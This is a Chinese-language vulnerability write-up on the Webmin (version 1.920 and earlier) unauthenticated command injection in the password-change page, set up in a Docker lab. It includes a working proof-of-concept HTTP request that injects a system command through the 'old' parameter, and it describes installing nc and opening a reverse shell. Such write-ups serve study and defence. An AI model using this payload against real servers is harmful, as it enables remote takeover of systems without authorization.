漏洞概括
Webmin的是一个用于管理类Unix的系统的管理配置工具,具有网络页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。它已知在端口10000上运行。在重置密码功能中发现了一个错误,该错误允许恶意第三方由于缺少输入验证而执行恶意代码。
影响版本:
Webmin <= 1.920
环境搭建
自己用docker搭了个1.910版本的Webmin,具体操作…
漏洞的触发需要开启密码重置功能,需要把允许用户使用旧密码设置新密码的选项给选上。
登录之后,在Webmin Configuration
里的Authentication
下,有Password expiry policy
选项,选上Prompt users with expired passwords to enter a new one
,再重启Webmin即可!
漏洞利用
PoC:
POST /password_change.cgi HTTP/1.1
Host: your-ip:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: https://your-ip:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2
可以直接用PoC来注入命令,也可以访问/password_change.cgi
链接,抓包注入命令
user处用户可以为空,也可以为webmin用户,也可以是假用户,不存在的用户,都能够注入命令,唯独不可以用root用户来注入,这会导致注入失败。
这里成功运行命令id
,我们甚至可以用nc反弹shell,先看看有没有nc命令
&& 符号表示,如果第一个命令成功执行,则执行第二个命令
这里nc后面接着用到了echo命令,但显然nc命令没有执行成功,我们帮他安!
安装好后,用nc命令反弹shell
成功获取权限…
补充:
而在1.890版本中,漏洞点的触发只需要传一个expired
参数执行命令即可,不需要之前的passwd_mode=2
(即开启Prompt users with expired passwords to enter a new one
)的必要条件。
参考文章:https://blog.csdn.net/qq_43380549/article/details/100011292